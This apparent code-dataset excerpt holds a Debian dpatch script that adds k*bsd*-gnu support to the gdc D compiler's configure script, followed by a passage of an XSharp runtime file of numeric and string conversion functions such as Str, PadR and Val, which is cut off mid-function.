] |
#! /bin/sh -e
# gdc-fix-build-kfreebsd.dpatch by Arthur Loiret <[email protected]>
# DP: Fix gdc build on k*bsd*-gnu, update configure and target-ver-syms.sh
# DP: to build k*bsd*-gnu architectures as a freebsd
dir=
if [ $# -eq 3 -a "$2" = '-d' ]; then
pdir="-d $3"
dir="$3/"
elif [ $# -ne 1 ]; then
echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
exit 1
fi
case "$1" in
-patch)
patch $pdir -f --no-backup-if-mismatch -p0 < $0
#cd ${dir}gcc && autoconf
;;
-unpatch)
patch $pdir -f --no-backup-if-mismatch -R -p0 < $0
#rm ${dir}gcc/configure
;;
*)
echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
exit 1
esac
exit 0
--- gcc/d/phobos/configure 2007-09-03 01:23:59.000000000 +0200
+++ gcc/d/phobos/configure 2007-09-03 01:27:18.000000000 +0200
@@ -4599,7 +4599,7 @@
case "$target_os" in
darwin6*) DCFG_LONG_DOUBLE_FUNCS=config/noldfuncs ;;
darwin*) DCFG_LONG_DOUBLE_FUNCS=config/ldfuncs-darwin ;;
- linux*)
+ linux*|k*bsd*-gnu)
case "$target_cpu" in
powerpc*)
DCFG_LONG_DOUBLE_FUNCS=config/ldfuncs-ppclinux
@@ -5687,7 +5687,7 @@
case "$d_target_os" in
# use fpmath on Linux
- linux*) d_have_fpsb=''
+ linux*|k*bsd*-gnu) d_have_fpsb=''
;;
esac
@@ -7014,7 +7014,7 @@
rm -f conftest.d conftest.$ac_objext
case "$d_target_os" in
- aix*|*bsd*|cygwin*|darwin*|linux*|skyos*|solaris*|sysv*) d_have_unix=1 ;;
+ aix*|*bsd*|cygwin*|darwin*|linux*|k*bsd*-gnu|skyos*|solaris*|sysv*) d_have_unix=1 ;;
esac
DCFG_CBRIDGE_STDIO=
@@ -7027,7 +7027,7 @@
d_sem_impl="mach"
d_have_loader=1
;;
- freebsd*)
+ freebsd*|k*bsd*-gnu)
d_have_loader=1
D_EXTRA_OBJS="$D_EXTRA_OBJS gcc/cbridge_stdio.o"
DCFG_CBRIDGE_STDIO=GNU_CBridge_Stdio
@@ -9046,7 +9046,7 @@
d_gc_stack=GC_Use_Stack_Fixed
d_gc_data="$d_gc_data GC_Use_Data_Dyld"
;;
- freebsd*) D_GC_MODULES="$D_GC_MODULES internal/gc/gc_freebsd.o"
+ freebsd*|k*bsd*-gnu) D_GC_MODULES="$D_GC_MODULES internal/gc/gc_freebsd.o"
d_gc_stack=GC_Use_Stack_FreeBSD
d_gc_data="$d_gc_data GC_Use_Data_Fixed"
;;
--- gcc/d/target-ver-syms.sh 2007-09-03 02:14:56.000000000 +0200
+++ gcc/d/target-ver-syms.sh 2007-09-03 02:52:43.000000000 +0200
@@ -30,6 +30,7 @@
darwin*) d_os_versym=darwin ; d_unix=1 ;;
elf*) ;;
freebsd*) d_os_versym=freebsd ; d_unix=1 ;;
+k*bsd*-gnu) d_os_versym=freebsd ; d_unix=1;;
linux*) d_os_versym=linux ; d_unix=1 ;;
mingw32*) d_os_versym=Win32; d_windows=1 ;;
pe*) case "$target" in
| Darcs Patch | 4 | JrCs/opendreambox | recipes/gcc/gcc-4.3.4/debian/gdc-fix-build-kbsd-gnu.dpatch | [
"MIT"
] |
//
// Copyright (c) XSharp B.V. All Rights Reserved.
// Licensed under the Apache License, Version 2.0.
// See License.txt in the project root for license information.
//
USING XSharp
USING System.Text
USING System.Globalization
USING System.Collections.Generic
#define MAXDIGITS 30
#define MAXDECIMALS 15
INTERNAL STATIC CLASS XSharp.ConversionHelpers
STATIC INTERNAL usCulture AS CultureInfo
STATIC PRIVATE formatStrings AS Dictionary<INT, STRING>
STATIC CONSTRUCTOR
usCulture := CultureInfo{"en-US"}
formatStrings := Dictionary<INT, STRING>{}
STATIC METHOD GetFormatString(nLen AS INT, nDec AS INT) AS STRING
LOCAL nKey AS INT
LOCAL cFormat AS STRING
nKey := nLen * 100 + nDec
IF formatStrings:ContainsKey(nKey)
RETURN formatStrings[nKey]
ENDIF
IF nDec != 0
cFormat := "0."
cFormat := cFormat:PadRight(nDec+2, c'0') // 2 extra for the 0 + Dot
ELSE
cFormat := "0"
ENDIF
cFormat := cFormat:PadLeft(nLen, c'#')
cFormat := "{0," + nLen:ToString()+":"+cFormat+"}"
formatStrings:Add(nKey, cFormat)
RETURN cFormat
PRIVATE CONST NOCHAR := c'\0' AS CHAR
STATIC METHOD NextChar(c AS STRING, nIndex REF INT) AS CHAR
LOCAL cChar AS CHAR
LOCAL lStart := nIndex == -1 AS LOGIC
DO WHILE TRUE
nIndex ++
IF nIndex >= c:Length
RETURN NOCHAR
END IF
cChar := c[nIndex]
IF cChar == c'E'
RETURN NOCHAR
END IF
IF cChar >= c'0' .AND. cChar <= c'9'
IF cChar == c'0' .AND. lStart
nIndex ++
LOOP
END IF
RETURN cChar
END IF
END DO
STATIC METHOD AdjustPrecision(cNum15 AS STRING, cNum17 AS STRING) AS STRING
LOCAL cDiff15 := "0", cDiff17 := "0" AS STRING
LOCAL cResult AS STRING
LOCAL c15,c17 AS CHAR
LOCAL n15,n17 AS INT
LOCAL nMatch AS INT
LOCAL lDiff AS LOGIC
n15 := n17 := -1
nMatch := 0
cResult := cNum15
lDiff := FALSE
DO WHILE TRUE
c15 := NextChar(cNum15 , REF n15)
c17 := NextChar(cNum17 , REF n17)
IF c15 == NOCHAR .OR. c17 == NOCHAR
IF lDiff
EXIT
ELSE
RETURN cNum15
END IF
ELSEIF c15 == c17
nMatch ++
ELSE
IF nMatch >= 14
IF nMatch < 17
lDiff := TRUE
cResult := cResult:Substring(0, n15) + c17:ToString() + cResult:Substring(n15 + 1)
nMatch ++
cDiff15 += c15:ToString()
cDiff17 += c17:ToString()
ELSE
EXIT
END IF
ELSE
RETURN cNum15
END IF
END IF
END DO
// if the difference of the two numbers is the minimum one, then it was probably just a rounding issue in "G17" representation
IF Math.Abs( Int32.Parse(cDiff15) - Int32.Parse(cDiff17) ) == 1
RETURN cNum15
END IF
RETURN cResult
STATIC METHOD FormatNumber(n AS REAL8, nLen AS INT, nDec AS INT) AS STRING
LOCAL cFormat AS STRING
LOCAL result AS STRING
cFormat := GetFormatString(nLen, nDec)
// G17 returns all 17 relevant digits for a REAL8
// See https://docs.microsoft.com/en-us/dotnet/api/system.double.tostring?view=netframework-4.7.2
result := String.Format(usCulture, cFormat, n)
IF nLen > 15 .AND. result:Length >= 15
result := AdjustPrecision(result, n:ToString("G17", usCulture))
END IF
/* IF result:EndsWith("0") .AND. nDec > 0 .AND. nLen > 15
VAR cTemp := n:ToString("G17", usCulture)
VAR parts := cTemp:Split(<CHAR>{c'.'}, StringSplitOptions.RemoveEmptyEntries)
IF parts:Length > 1
// If the G17 format contains a decimal part, fetch it.
VAR cDec := parts[1+ __ARRAYBASE__]
VAR cInt := parts[0+ __ARRAYBASE__]
// could end up being represented in exp format. For example
// Str3(70.00 - 65.01 - 4.99,16,2)
// causes cTemp above to have a value of "-5.3290705182007514E-15"
LOCAL nExp AS INT
nExp := cDec:IndexOf('E')
IF nExp != -1
IF cDec[nExp + 1] == '-'
LOCAL cExp AS STRING
cExp := System.String{'0', Int32.Parse(cDec:Substring(nExp + 2))}
cDec := cExp + iif(cInt[0] == '-' , cInt:SubString(1) , cInt) + cDec
cInt := iif(cInt[0] == '-' , "-0" , "0")
END IF
END IF
parts := result:Split(<CHAR>{c'.'}, StringSplitOptions.RemoveEmptyEntries)
VAR cOldDec := parts[1+ __ARRAYBASE__]
IF cDec:Length > cOldDec:Length
cDec := cDec:SubString(0, cOldDec:Length)
ELSEIF cDec:Length < cOldDec:Length
cDec := cDec:PadRight(cOldDec:Length,c'0')
ENDIF
result := parts[0+ __ARRAYBASE__] + "." + cDec
ENDIF
ENDIF*/
IF result:Length > nLen
LOCAL nSepIndex AS INT
nSepIndex := result:IndexOf(usCulture:NumberFormat:NumberDecimalSeparator)
IF nSepIndex != -1 .AND. nSepIndex <= nLen
result := result:Substring(0, nLen)
ELSE
result := Replicate("*", (DWORD) nLen)
END IF
ENDIF
RETURN result
STATIC METHOD FormatNumber(n AS INT64, nLen AS INT, nDec AS INT) AS STRING
LOCAL cFormat AS STRING
LOCAL result AS STRING
cFormat := GetFormatString(nLen, 0)
result := String.Format(usCulture, cFormat, n)
IF result:Length > nLen
result := Replicate("*", (DWORD) nLen)
ENDIF
RETURN result
STATIC METHOD AdjustDecimalSeparator(cString AS STRING) AS STRING
IF cString:IndexOf(".") >= 0
VAR wSep := SetDecimalSep()
IF wSep != 46
cString := cString:Replace(c'.', (CHAR) wSep)
ENDIF
ENDIF
RETURN cString
STATIC METHOD GetSignificantWholeDigits(r AS REAL8) AS INT
LOCAL nRet := IIF(r < 0.0 , 1 , 0) AS INT
r := Math.Floor(Math.Abs(r))
DO WHILE r > 0.0
nRet ++
r := r /10.0
r := Math.Floor(r)
END DO
RETURN nRet
END CLASS
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/ashexstring/*" />
/// <seealso cref='C2Hex(System.String)' >C2Hex</seealso>
/// <seealso cref='_C2Hex(System.String,System.Boolean)' >_C2Hex</seealso>
FUNCTION AsHexString(uValue AS USUAL) AS STRING
LOCAL result AS STRING
IF uValue:IsString
result := _C2Hex( (STRING) uValue, TRUE)
ELSEIF uValue:IsNumeric
IF uValue:IsInt64
result := String.Format("{0:X16}", (INT64) uValue)
ELSEIF uValue:IsLong
result := String.Format("{0:X8}", (INT) uValue)
ELSEIF uValue:IsFloat
VAR flValue := (FLOAT) uValue
VAR r8Value := flValue:Value
IF r8Value >= System.Int32.MinValue .AND. r8Value <= System.Int32.MaxValue
result := String.Format("{0:X8}", (INT) uValue)
ELSEIF r8Value >= 0. .AND. r8Value <= System.UInt32.MaxValue
result := String.Format("{0:X8}", (DWORD) uValue)
ELSEIF r8Value >= System.Int64.MinValue .AND. r8Value <= System.Int64.MaxValue
result := String.Format("{0:X16}", (INT64) uValue)
ELSEIF r8Value >= 0. .AND. r8Value <= System.UInt64.MaxValue
result := String.Format("{0:X16}", (UINT64) uValue)
ELSE
result := "********"
ENDIF
ELSE
result := ""
ENDIF
ELSEIF uValue:IsPtr
LOCAL i64 := (UIntPtr)uValue AS UIntPtr
LOCAL u64 := i64:ToUInt64() AS UInt64
result := String.Format( iif( u64 > System.UInt32.MaxValue, "{0:X16}", "{0:X8}" ), u64 )
ELSE
result := ""
ENDIF
RETURN result
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/aspadr/*" />
FUNCTION AsPadr(uValue AS USUAL,wLen AS DWORD) AS STRING
RETURN PadR(AsString(uValue), wLen)
/// <exclude />
FUNCTION _AsString(u AS USUAL) AS STRING
RETURN AsString(u)
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/asstring/*" />
FUNCTION AsString(uValue AS USUAL) AS STRING
LOCAL result AS STRING
DO CASE
CASE uValue:IsString
result := (STRING) uValue
CASE uValue:IsNumeric
result := NTrim(uValue)
CASE uValue:IsSymbol
result := Symbol2String( (SYMBOL) uValue)
CASE uValue:IsDate
result := DToC( (DATE) uValue)
CASE uValue:IsPtr
LOCAL i64 := (UIntPtr)uValue AS UIntPtr
LOCAL u64 := i64:ToUInt64() AS UInt64
result := String.Format( iif( u64 > System.UInt32.MaxValue, "0x{0:X16}", "0x{0:X8}" ), u64 )
CASE uValue:IsArray
VAR aValue := (ARRAY) uValue
// {[0000000003]0x025400FC}
IF aValue == NULL_ARRAY
result := "{[0000000000]0x00000000}"
ELSE
VAR cHashCode := String.Format("{0:X8}", aValue:GetHashCode())
result := "{["+String.Format("{0:D10}",aValue:Length)+"]0x"+cHashCode+"}"
ENDIF
CASE uValue:IsObject
LOCAL oValue := uValue AS OBJECT
IF oValue == NULL_OBJECT
result := "{(0x0000)0x00000000} CLASS "
ELSE
VAR oType := oValue:GetType()
VAR nSize := oType:GetFields():Length *4
VAR cHashCode := String.Format("{0:X8}", oValue:GetHashCode())
result := "{(0x"+String.Format("{0:X4}", nSize)+")0x"+cHashCode+"} CLASS " + oType:Name:ToUpperInvariant()
ENDIF
OTHERWISE
result := uValue:ToString()
ENDCASE
RETURN result
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/assymbol/*" />
FUNCTION AsSymbol(uValue AS USUAL) AS SYMBOL
RETURN SYMBOL{(STRING)uValue, TRUE}
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/descend/*" />
FUNCTION Descend(uValue AS USUAL) AS USUAL
IF uValue:IsString
RETURN _descendingString( (STRING) uValue)
ELSEIF uValue:IsLogic
RETURN ! (LOGIC) uValue
ELSEIF uValue:IsLong
RETURN 0 - (INT) uValue
ELSEIF uValue:IsInt64
RETURN 0 - (INT64) uValue
ELSEIF uValue:IsFloat
RETURN 0 - (__Float) uValue
ELSEIF uValue:IsDecimal
RETURN 0 - (Decimal) uValue
ELSEIF uValue:IsCurrency
RETURN 0 - (__Currency) uValue
ELSEIF uValue:IsDate
RETURN 5231808 - (DWORD)(DATE) uValue
ENDIF
RETURN uValue
INTERNAL FUNCTION _descendingString(s AS STRING) AS STRING
LOCAL encoding AS Encoding
IF RuntimeState.Ansi
encoding := StringHelpers.WinEncoding
ELSE
encoding := StringHelpers.DosEncoding
ENDIF
LOCAL bytes := encoding:GetBytes( s ) AS BYTE[]
LOCAL nlen := bytes:Length AS INT
FOR LOCAL i := 1 AS INT UPTO nlen
IF bytes[i] != 0
bytes[i] := (BYTE) ( (INT)256 - (INT)bytes[i] )
ENDIF
NEXT
RETURN encoding:GetString( bytes )
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/descend/*" />
FUNCTION DescendA(uValue REF USUAL) AS USUAL
uValue := Descend(uValue)
RETURN uValue
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/ntrim/*" />
FUNCTION NTrim(nNum AS USUAL) AS STRING
LOCAL ret AS STRING
SWITCH nNum:_usualType
CASE __UsualType.Int64
CASE __UsualType.Long
ret := ConversionHelpers.FormatNumber( (INT64) nNum, (INT) RuntimeState.Digits, 0):Trim()
CASE __UsualType.Date
ret := AsString( nNum )
CASE __UsualType.Currency
ret := ((__Currency) (nNum)):ToString()
CASE __UsualType.Float
CASE __UsualType.Decimal
ret := ConversionHelpers.AdjustDecimalSeparator(_Str1( (FLOAT) nNum )):Trim()
OTHERWISE
THROW Error.DataTypeError( __FUNCTION__, NAMEOF(nNum), 1, nNum)
END SWITCH
RETURN ret
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/pad/*" />
FUNCTION Pad( uValue AS USUAL, nLength AS INT, cFillChar := " " AS STRING ) AS STRING
RETURN PadR( uValue, nLength, cFillChar )
/// <inheritdoc cref="Pad(XSharp.__Usual,System.Int32,System.String)" />
FUNCTION Pad( uValue AS USUAL, nLength AS DWORD, cFillChar := " " AS STRING ) AS STRING
RETURN PadR( uValue, (INT) nLength, cFillChar )
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/padc/*" />
FUNCTION PadC( uValue AS USUAL, nLength AS INT, cFillChar := " " AS STRING ) AS STRING
// If they send in an empty string then change to " "
IF cFillChar == NULL .OR. cFillChar :Length == 0
cFillChar := " "
ENDIF
LOCAL ret AS STRING
LOCAL retlen AS INT
IF uValue:IsNil
ret := ""
ELSEIF uValue:IsNumeric
ret := NTrim( uValue)
ELSE
ret := uValue:ToString()
ENDIF
retlen := ret:Length
IF retlen > nLength
ret := ret:Remove( nLength )
ELSE
VAR leftSpace := System.String{cFillChar[0], ( nLength - retlen ) / 2}
ret := leftSpace+ret
ret := ret:PadRight( nLength, cFillChar[0] )
ENDIF
RETURN ret
/// <inheritdoc cref="PadC(XSharp.__Usual,System.Int32,System.String)" />
FUNCTION PadC( uValue AS USUAL, nLength AS DWORD, cFillChar := " " AS STRING ) AS STRING
RETURN PadC( uValue, (INT) nLength, cFillChar )
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/padl/*" />
FUNCTION PadL( uValue AS USUAL, nLength AS INT, cFillChar := " " AS STRING ) AS STRING
// If they send in an empty string then change to " "
IF cFillChar == NULL .OR. cFillChar :Length == 0
cFillChar := " "
ENDIF
LOCAL ret AS STRING
IF uValue:IsNil
ret := ""
ELSEIF uValue:IsNumeric
ret := NTrim( uValue)
ELSE
ret := uValue:ToString()
ENDIF
RETURN IIF( ret:Length > nLength, ret:Remove( nLength ), ret:PadLeft( nLength, cFillChar[0] ) )
/// <inheritdoc cref="PadL(XSharp.__Usual,System.Int32,System.String)" />
FUNCTION PadL( uValue AS USUAL, nLength AS DWORD, cFillChar := " " AS STRING ) AS STRING
RETURN PadL( uValue, (INT) nLength, cFillChar )
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/padr/*" />
FUNCTION PadR( uValue AS USUAL, nLength AS DWORD, cFillChar := " " AS STRING ) AS STRING
RETURN PadR( uValue, (INT) nLength, cFillChar )
/// <inheritdoc cref="PadR(XSharp.__Usual,System.UInt32,System.String)" />
FUNCTION PadR( uValue AS USUAL, nLength AS INT, cFillChar := " " AS STRING ) AS STRING
// If they send in an empty string then change to " "
IF cFillChar == NULL .OR. cFillChar:Length == 0
cFillChar := " "
ENDIF
LOCAL ret AS STRING
IF uValue:IsNil
ret := ""
ELSEIF uValue:IsNumeric
ret := NTrim( uValue)
ELSE
ret := uValue:ToString()
ENDIF
RETURN IIF( ret:Length > nLength, ret:Remove( nLength ), ret:PadRight( nLength, cFillChar[0] ) )
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/str/*" />
FUNCTION Str(nNumber ,nLength ,nDecimals ) AS STRING CLIPPER
IF PCount() < 1 .OR. pCount() > 3
RETURN ""
ENDIF
// Handle integer values
IF nNumber:IsInteger .and. (PCount() <= 2 .or. (PCount() == 3 .and. nDecimals:IsNumeric .and. nDecimals == 0) )
LOCAL cRet AS STRING
LOCAL nDigits AS INT
cRet := ((INT64)nNumber):ToString()
IF nLength:IsNumeric
IF nLength < 0
nDigits := cRet:Length
ELSE
nDigits := nLength
END IF
ELSE
nDigits := (INT)RuntimeState.Digits
END IF
IF cRet:Length > nDigits
cRet := System.String{c'*' , nDigits}
ELSEIF cRet:Length < RuntimeState.Digits
cRet := cRet:PadLeft(nDigits)
END IF
RETURN cRet
ELSEIF nNumber:IsFloat
LOCAL oFloat AS FLOAT
oFloat := nNumber
IF oFloat:Digits != -1 .and. nLength:IsNil
nLength := oFloat:Digits
END IF
END IF
LOCAL result AS STRING
LOCAL nLen AS DWORD
LOCAL nDec AS DWORD
LOCAL lTrimSpaces := FALSE AS LOGIC
IF nLength:IsNumeric
IF nLength < 0
nLen := System.UInt32.MaxValue - 1
lTrimSpaces := TRUE
ELSE
nLen := (DWORD) nLength
ENDIF
ELSE
nLen := System.UInt32.MaxValue
ENDIF
IF ! nDecimals:IsNumeric
nDec := UInt32.MaxValue
ELSE
IF nDecimals < 0
nDec := System.UInt32.MaxValue
ELSE
nDec := (DWORD) nDecimals
ENDIF
ENDIF
result := _Str3(nNumber, nLen, nDec)
IF lTrimSpaces
result := result:TrimStart()
END IF
RETURN ConversionHelpers.AdjustDecimalSeparator(result)
/// <inheritdoc cref="Str" />
/// <returns>The returned string with always have a DOT as decimal separator.</returns>
FUNCTION _Str(nValue ,uLen ,uDec ) AS STRING CLIPPER
LOCAL nLen, nDec AS LONG
LOCAL dwLen, dwDec AS DWORD
IF PCount() > 0 .AND. ! nValue:IsNumeric
THROW Error.DataTypeError( __FUNCTION__, NAMEOF(nValue),1, nValue, uLen, uDec)
ENDIF
SWITCH PCount()
CASE 1
RETURN _Str1( nValue)
CASE 2
IF ! uLen:IsNumeric
THROW Error.DataTypeError( __FUNCTION__, NAMEOF(uLen),2,nValue, uLen, uDec)
ENDIF
nLen := uLen
IF nLen < 0
dwLen := System.UInt32.MaxValue
ELSE
dwLen := (DWORD) nLen
ENDIF
IF nValue:IsFractional
RETURN _Str2(nValue, dwLen)
ELSE
RETURN ConversionHelpers.FormatNumber((INT64) nValue, nLen,0)
ENDIF
CASE 3
IF ! uLen:IsNumeric
THROW Error.DataTypeError( __FUNCTION__, NAMEOF(uLen),2,nValue, uLen, uDec)
ENDIF
IF ! uDec:IsNumeric
THROW Error.DataTypeError( __FUNCTION__, NAMEOF(uDec),3,nValue, uLen, uDec)
ENDIF
nLen := uLen
nDec := uDec
IF nValue:IsFractional
nLen := uLen
IF nLen < 0
dwLen := System.UInt32.MaxValue
ELSE
dwLen := (DWORD) nLen
ENDIF
IF nDec < 0 .OR. RuntimeState.Fixed
dwDec := XSharp.RuntimeState.Decimals
ELSE
dwDec := (DWORD) nDec
ENDIF
IF nLen < 0 .OR. RuntimeState.DigitsFixed
dwLen := XSharp.RuntimeState.Digits
IF nDec != 0
dwLen := dwLen + dwDec + 1
ENDIF
ENDIF
VAR res := _Str3(nValue, dwLen, dwDec)
IF nLen < 0
res := res:TrimStart()
ENDIF
RETURN res
ELSE
IF nLen < 0
nLen := 30
ENDIF
IF nDec < 0
nDec := (INT) SetDecimal()
ENDIF
RETURN ConversionHelpers.FormatNumber((INT64) nValue, nLen,nDec)
ENDIF
OTHERWISE
RETURN ""
END SWITCH
// The following three functions are undocumented in Vulcan but sometimes used in user code
// They are the equivalent of the STR() functions but always return with digit decimal separator
// We route all three to the _Str() function that takes care of this already
/// <exclude/>
FUNCTION __Str(n AS USUAL) AS STRING
RETURN _Str( n)
/// <exclude/>
FUNCTION __Str(n AS USUAL,nLen AS USUAL) AS STRING
RETURN _Str( n, nLen)
/// <exclude/>
FUNCTION __Str(n AS USUAL,nLen AS USUAL, nDec AS USUAL) AS STRING
RETURN _Str( n, nLen, nDec)
INTERNAL FUNCTION _PadZero(cValue AS STRING) AS STRING
LOCAL iLen := cValue:Length AS INT
cValue := cValue:TrimStart()
IF cValue:Length > 1 .and. cValue[0] == c'-'
cValue := cValue:Substring(1)
RETURN "-" + cValue:PadLeft((INT) iLen - 1, c'0')
END IF
RETURN cValue:PadLeft((INT) iLen, c'0')
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/strzero/*" />
FUNCTION StrZero(nNumber AS USUAL,nLength AS INT,nDecimals AS INT) AS STRING
IF ! ( nNumber:IsNumeric )
THROW Error.DataTypeError( __FUNCTION__, NAMEOF(nNumber),1,nNumber)
ENDIF
LOCAL cValue := Str3(nNumber, (DWORD) nLength, (DWORD) nDecimals) AS STRING
RETURN _PadZero(cValue)
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/strzero/*" />
FUNCTION StrZero(nNumber AS USUAL,nLength AS INT) AS STRING
IF ! ( nNumber:IsNumeric )
THROW Error.DataTypeError( __FUNCTION__, NAMEOF(nNumber),1,nNumber)
ENDIF
LOCAL cValue := Str3(nNumber, (DWORD) nLength, 0) AS STRING // Str3() and Str2() in VO have totally different behavior regarding decimal digits, rounding etc
RETURN _PadZero(cValue)
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/strzero/*" />
FUNCTION StrZero(nNumber AS USUAL) AS STRING
IF ! ( nNumber:IsNumeric )
THROW Error.DataTypeError( __FUNCTION__, NAMEOF(nNumber),1,nNumber)
ENDIF
LOCAL cValue := Str1(nNumber) AS STRING
RETURN _PadZero(cValue)
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/toword/*" />
FUNCTION ToWord(n AS USUAL) AS DWORD
RETURN (DWORD) n
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/strint/*" />
FUNCTION StrInt(liNumber AS LONG,dwLength AS DWORD,dwDecimals AS DWORD) AS STRING
RETURN Str3( liNumber, dwLength, dwDecimals)
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/strlong/*" />
FUNCTION StrLong(liNumber AS LONG,dwLength AS DWORD,dwDecimals AS DWORD) AS STRING
RETURN StrInt(liNumber, dwLength, dwDecimals)
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/strfloat/*" />
FUNCTION StrFloat(flSource AS FLOAT,dwLength AS DWORD,dwDecimals AS DWORD) AS STRING
RETURN Str3( flSource, dwLength, dwDecimals )
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/str1/*" />
FUNCTION Str1(fNumber AS USUAL) AS STRING
IF fNumber:IsFloat
RETURN ConversionHelpers.AdjustDecimalSeparator(_Str1( (FLOAT) fNumber))
ELSE
RETURN ConversionHelpers.FormatNumber( (LONG) fNumber, (INT) RuntimeState.Digits, 0):Trim()
ENDIF
INTERNAL FUNCTION _Str1(f AS FLOAT) AS STRING
VAR nDecimals := f:Decimals
VAR nDigits := f:Digits
SWITCH (Double)f
CASE Double.NaN
RETURN Double.NaN:ToString()
CASE Double.PositiveInfinity
RETURN Double.PositiveInfinity:ToString()
CASE Double.NegativeInfinity
RETURN Double.NegativeInfinity:ToString()
END SWITCH
IF nDecimals < 0 .OR. RuntimeState.Fixed
nDecimals := (SHORT) RuntimeState.Decimals
ENDIF
IF nDigits <= 0 .OR. RuntimeState.DigitsFixed
nDigits := (SHORT) RuntimeState.Digits
IF ConversionHelpers.GetSignificantWholeDigits(f) > nDigits
RETURN STRING{ c'*', (INT) nDigits}
END IF
IF nDecimals != 0
nDigits += nDecimals +1
ENDIF
ENDIF
VAR result := ConversionHelpers.FormatNumber(f, nDigits, nDecimals )
RETURN result
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/str2/*" />
/// <returns>A string representation of the value.</returns>
/// <seealso cref="Str" />
/// <seealso cref="Str1" />
/// <seealso cref="Str3" />
FUNCTION Str2(fNumber AS FLOAT,dwLength AS DWORD) AS STRING
RETURN ConversionHelpers.AdjustDecimalSeparator(_Str2(fNumber, dwLength))
INTERNAL FUNCTION _Str2(f AS FLOAT,dwLen AS DWORD) AS STRING
IF dwLen == 0 .OR. RuntimeState.DigitsFixed
dwLen := (DWORD) RuntimeState.Digits
ELSEIF dwLen != UInt32.MaxValue
dwLen := Math.Min( dwLen, MAXDIGITS )
ENDIF
VAR nDecimals := f:Decimals
IF nDecimals < 0 .OR. RuntimeState.DigitsFixed
nDecimals := (SHORT) RuntimeState.Decimals
ENDIF
RETURN ConversionHelpers.FormatNumber(f, (INT) dwLen, nDecimals)
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/str3/*" />
/// <seealso cref="Str" />
/// <seealso cref="Str1" />
/// <seealso cref="Str2" />
FUNCTION Str3(fNumber AS FLOAT,dwLength AS DWORD,dwDecimals AS DWORD) AS STRING
RETURN ConversionHelpers.AdjustDecimalSeparator(_Str3(fNumber, dwLength, dwDecimals))
/// <inheritdoc cref="Str3" />
/// <returns>A string with DOT as decimal separator.</returns>
FUNCTION _Str3(f AS FLOAT,dwLen AS DWORD,dwDec AS DWORD) AS STRING
LOCAL lUnspecifiedDecimals := dwDec == UInt32.MaxValue AS LOGIC
IF dwDec == UInt32.MaxValue
IF RuntimeState.Fixed
dwDec := (DWORD) RuntimeState.Decimals
ELSE
dwDec := (DWORD) f:Decimals
ENDIF
ELSE
dwDec := Math.Min( dwDec, MAXDECIMALS )
ENDIF
// dwLen == UInt32.MaxValue : Nil passed for 2nd param of Str()
// dwLen == UInt32.MaxValue - 1 : Negative value for 2nd param of Str()
IF dwLen == 0 .OR. dwLen == UInt32.MaxValue .or. dwLen == UInt32.MaxValue - 1
IF dwDec > 0
LOCAL nSignificant AS INT
nSignificant := ConversionHelpers.GetSignificantWholeDigits(f)
IF .not. dwLen == UInt32.MaxValue - 1
IF nSignificant > RuntimeState.Digits
RETURN STRING{ c'*', (INT) (RuntimeState.Digits + dwDec +1) } // VO's behavior...
END IF
END IF
IF dwLen == UInt32.MaxValue - 1
dwLen := (DWORD) nSignificant + dwDec + 2
ELSE
dwLen := (DWORD) RuntimeState.Digits + dwDec +1
END IF
ELSE
dwLen := (DWORD) RuntimeState.Digits
ENDIF
ELSE
dwLen := Math.Min( dwLen, MAXDIGITS )
ENDIF
IF dwDec > 0 .AND. dwLen != UInt32.MaxValue .and. !lUnspecifiedDecimals .AND. ( dwLen < ( dwDec + 2 ) )
RETURN STRING{ c'*', (INT) dwLen }
ENDIF
RETURN ConversionHelpers.FormatNumber(f, (INT) dwLen, (INT) dwDec)
/// <inheritdoc cref="Val" />
/// <returns>The numeric value as a FLOAT.</returns>
FUNCTION StrToFloat(c AS STRING) AS FLOAT
RETURN (FLOAT) Val(c)
/// <include file="VoFunctionDocs.xml" path="Runtimefunctions/val/*" />
FUNCTION Val(cNumber AS STRING) AS USUAL
LOCAL isCurrency AS LOGIC
IF String.IsNullOrEmpty(cNumber)
RETURN 0
ENDIF
cNumber := AllTrim(cNumber)
isCurrency := cNumber:StartsWith("$")
IF isCurrency
cNumber := cNumber:Substring(1)
ENDIF
VAR result := _VOVal(cNumber)
IF isCurrency
RETURN __Currency{ (REAL8) result }
ENDIF
RETURN result
//implements the quirks of VO's version of Val()
INTERNAL FUNCTION _VOVal(cNumber AS STRING) AS USUAL
IF String.IsNullOrEmpty(cNumber)
RETURN 0
ENDIF
cNumber := cNumber:Trim():ToUpper()
// find non numeric characters in cNumber and trim the field to that length
VAR pos := 0
VAR done := FALSE
VAR hex := FALSE
VAR hasdec := FALSE
VAR hasexp := FALSE
VAR lNoNumYet := TRUE
VAR cPrev := c' '
VAR cDec := (CHAR) RuntimeState.DecimalSep
IF cDec != c'.'
cNumber := cNumber:Replace(c'.', cDec) // VO behavior...
cNumber := cNumber:Replace(cDec, c'.')
ENDIF
FOREACH VAR c IN cNumber
SWITCH c
CASE c'0'
CASE c'1'
CASE c'2'
CASE c'3'
CASE c'4'
CASE c'5'
CASE c'6'
CASE c'7'
CASE c'8'
CASE c'9'
lNoNumYet := FALSE
CASE c'-'
CASE c'+'
IF lNoNumYet
lNoNumYet := TRUE
ELSE
done := TRUE
ENDIF
CASE c' '
IF .not. lNoNumYet
done := TRUE
ENDIF
